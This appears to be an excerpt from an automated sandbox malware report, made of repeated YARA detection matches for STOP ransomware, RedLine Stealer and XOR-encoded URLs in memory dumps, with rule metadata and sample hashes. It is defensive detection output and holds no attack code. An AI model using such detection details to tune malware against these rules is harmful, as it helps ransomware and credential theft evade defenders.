Source: 9.0.bE5aaTiJM0.exe.400000.4.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 00000007.00000002.409352563.00000000027E4000.00000040.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 0000000C.00000000.443455238.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2021-05-27
Source: 0000000C.00000000.443455238.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 0000000C.00000000.443455238.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 00000010.00000000.440338861.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 00000002.00000002.384651495.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2021-05-27
Source: 00000002.00000002.384651495.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 00000002.00000002.384651495.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 00000010.00000000.442195421.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2021-05-27
Source: 00000010.00000000.442195421.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 00000010.00000000.442195421.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 0000000B.00000000.419924112.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2021-05-27
Source: 0000000B.00000000.419924112.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 0000000B.00000000.419924112.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 0000000C.00000000.440796154.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2021-05-27
Source: 0000000C.00000000.440796154.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 0000000C.00000000.440796154.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 00000002.00000000.372461553.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 0000000C.00000000.441862325.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2021-05-27
Source: 0000000C.00000000.441862325.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 0000000C.00000000.441862325.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 0000000C.00000002.618738574.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2021-05-27
Source: 0000000C.00000002.618738574.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 0000000C.00000002.618738574.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 00000010.00000000.441036729.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2021-05-27
Source: 00000010.00000000.441036729.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 00000010.00000000.441036729.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 0000000B.00000000.419105516.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2021-05-27
Source: 0000000B.00000000.419105516.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 0000000B.00000000.419105516.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 0000000B.00000000.424465720.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2021-05-27
Source: 0000000B.00000000.424465720.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 0000000B.00000000.424465720.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 00000002.00000000.373064950.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2021-05-27
Source: 00000002.00000000.373064950.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 00000002.00000000.373064950.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 00000010.00000002.448009707.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2021-05-27
Source: 00000010.00000002.448009707.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 00000010.00000002.448009707.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 0000000B.00000002.435929161.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2021-05-27
Source: 0000000B.00000002.435929161.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 0000000B.00000002.435929161.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 00000009.00000000.402254205.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 0000000C.00000000.439811041.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 00000008.00000002.448603101.0000000004350000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 00000010.00000000.444270731.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2021-05-27
Source: 00000010.00000000.444270731.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 00000010.00000000.444270731.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 00000009.00000000.406644457.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2021-05-27
Source: 00000009.00000000.406644457.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 00000009.00000000.406644457.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 0000000A.00000002.429478962.00000000041D1000.00000040.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000007.00000002.409983046.0000000004290000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 00000009.00000000.402920593.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2021-05-27
Source: 00000009.00000000.402920593.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 00000009.00000000.402920593.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 00000008.00000002.448142800.00000000041B2000.00000040.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 0000000E.00000002.445958712.00000000041A4000.00000040.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 0000000B.00000000.421469310.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2021-05-27
Source: 0000000B.00000000.421469310.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 0000000B.00000000.421469310.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 00000009.00000002.412239693.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2021-05-27
Source: 00000009.00000002.412239693.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 00000009.00000002.412239693.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 00000009.00000000.403911103.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2021-05-27
Source: 00000009.00000000.403911103.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 00000009.00000000.403911103.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 00000000.00000002.378159844.00000000041D0000.00000040.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000002.00000000.376120577.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2021-05-27
Source: 00000002.00000000.376120577.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 00000002.00000000.376120577.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
